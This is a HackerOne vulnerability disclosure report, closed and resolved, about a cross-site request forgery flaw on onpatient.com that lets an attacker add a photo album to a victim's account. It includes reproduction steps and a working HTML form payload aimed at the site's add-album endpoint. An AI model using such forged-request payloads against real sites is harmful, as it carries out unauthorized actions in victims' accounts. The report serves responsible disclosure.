CSRF Add Album On onpatient.com
Unknown
Vulnerability Details
**Hi**
I'm Found Bug CSRF It is Possible To Add Album By Attacker on onpatient.com
Steps to verify
----
* . Login as attacker
* . Go to photos and click **add album**
* . rename album for example :- **hacking** .
* . intercept this request add using burp proxy or any other tool (you can see **X-CSRFToken** and **sessionid**) attacker can add request on post without **X-CSRFToken**
* . Create Form HTML Exploit **Add album**
* . Send to **Victim User**
Form Exploitation
---
~~~
<html>
<body>
<form action="https://onpatient.com/photos/add_album/" method="POST">
<input type="hidden" name="name" value="hacking" />
<input type="submit" value="Add album Hacking" />
</form>
</body>
</html>
~~~
**Response** :- {"album": idalbum, "success": true}
**Regards**
**Hussain**
Actions
View on HackerOneReport Stats
- Report ID: 99647
- State: Closed
- Substate: resolved
- Upvotes: 3